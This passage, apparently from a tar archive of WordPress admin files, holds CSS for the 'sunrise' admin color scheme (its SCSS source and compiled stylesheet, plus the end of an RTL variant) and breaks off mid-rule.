background: rgb(214.2919148936, 100.6485106383, 96.4080851064); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #ccaf0b; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(183.6, 157.5, 9.9); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(214.2919148936, 100.6485106383, 96.4080851064); background-color: rgb(214.2919148936, 100.6485106383, 96.4080851064); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(240.6, 200.4, 198.9); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #dd823b; border-color: rgb(216.8782608696, 116.1847826087, 37.6217391304); } .wp-pointer .wp-pointer-content h3:before { color: #dd823b; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #dd823b; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #dd823b; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #dd823b; } .attachment.details .check { background-color: #dd823b; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #dd823b; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #dd823b; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #dd823b; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #dd823b; } .theme-section.current, .theme-filter.current { border-bottom-color: #cf4944; } body.more-filters-opened .more-filters { color: #fff; background-color: #cf4944; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #dd823b; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #dd823b; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(228.5391304348, 157.7173913043, 102.4608695652), 0 0 2px 1px #dd823b; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(2.1582733813, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #dd823b; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(190.4217021277, 53.969787234, 48.8782978723); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(2.1582733813, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #dd823b; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-right-color: #dd823b; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #dd823b; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-right-color: #dd823b; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(228.5391304348, 157.7173913043, 102.4608695652), 0 0 2px 1px #dd823b; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #dd823b; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #dd823b; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #dd823b; border-style: solid; box-shadow: 0 0 0 1px #dd823b; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #dd823b; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #dd823b; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #dd823b; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(228.5391304348, 157.7173913043, 102.4608695652), 0 0 2px 1px #dd823b; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #dd823b; color: #0073aa; } css/colors/sunrise/colors.scss 0000644 00000000425 15233246127 0012531 0 ustar 00 @use "sass:color"; $highlight-color: #dd823b; @use "../_admin.scss" with ( $scheme-name: "sunrise", $base-color: #cf4944, $highlight-color: $highlight-color, $notification-color: #ccaf0b, $menu-submenu-focus-text: color.adjust($highlight-color, $lightness: 35%) ); css/colors/sunrise/colors.css 0000644 00000062256 15233246127 0012360 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #cf4944; } .wp-core-ui .wp-ui-text-primary { color: #cf4944; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #dd823b; } .wp-core-ui .wp-ui-text-highlight { color: #dd823b; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #ccaf0b; } .wp-core-ui .wp-ui-text-notification { color: #ccaf0b; } .wp-core-ui .wp-ui-text-icon { color: hsl(2.1582733813, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #cf4944; } .view-switch a:hover:before { color: #ccaf0b; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #cf4944; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(2.1582733813, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #dd823b; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(190.4217021277, 53.969787234, 48.8782978723); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: rgb(190.4217021277, 53.969787234, 48.8782978723); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(240.6, 200.4, 198.9); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(240.6, 200.4, 198.9); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #dd823b; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #ccaf0b; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(190.4217021277, 53.969787234, 48.8782978723); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(2.1582733813, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } /* Admin Bar */ #wpadminbar { color: #fff; background: #cf4944; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(2.1582733813, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); background: rgb(190.4217021277, 53.969787234, 48.8782978723); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(190.4217021277, 53.969787234, 48.8782978723); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(207.3164148936, 107.1221761059, 103.3835851064); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(240.6, 200.4, 198.9); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(2.1582733813, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(2.1582733813, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(2.1582733813, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(214.2919148936, 100.6485106383, 96.4080851064); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #ccaf0b; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(183.6, 157.5, 9.9); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(214.2919148936, 100.6485106383, 96.4080851064); background-color: rgb(214.2919148936, 100.6485106383, 96.4080851064); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(240.6, 200.4, 198.9); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #dd823b; border-color: rgb(216.8782608696, 116.1847826087, 37.6217391304); } .wp-pointer .wp-pointer-content h3:before { color: #dd823b; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #dd823b; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #dd823b; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #dd823b; } .attachment.details .check { background-color: #dd823b; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #dd823b; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #dd823b; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #dd823b; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #dd823b; } .theme-section.current, .theme-filter.current { border-bottom-color: #cf4944; } body.more-filters-opened .more-filters { color: #fff; background-color: #cf4944; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #dd823b; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #dd823b; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(228.5391304348, 157.7173913043, 102.4608695652), 0 0 2px 1px #dd823b; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(2.1582733813, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #dd823b; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(190.4217021277, 53.969787234, 48.8782978723); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(2.1582733813, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #dd823b; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-left-color: #dd823b; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #dd823b; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-left-color: #dd823b; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(228.5391304348, 157.7173913043, 102.4608695652), 0 0 2px 1px #dd823b; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #dd823b; color: 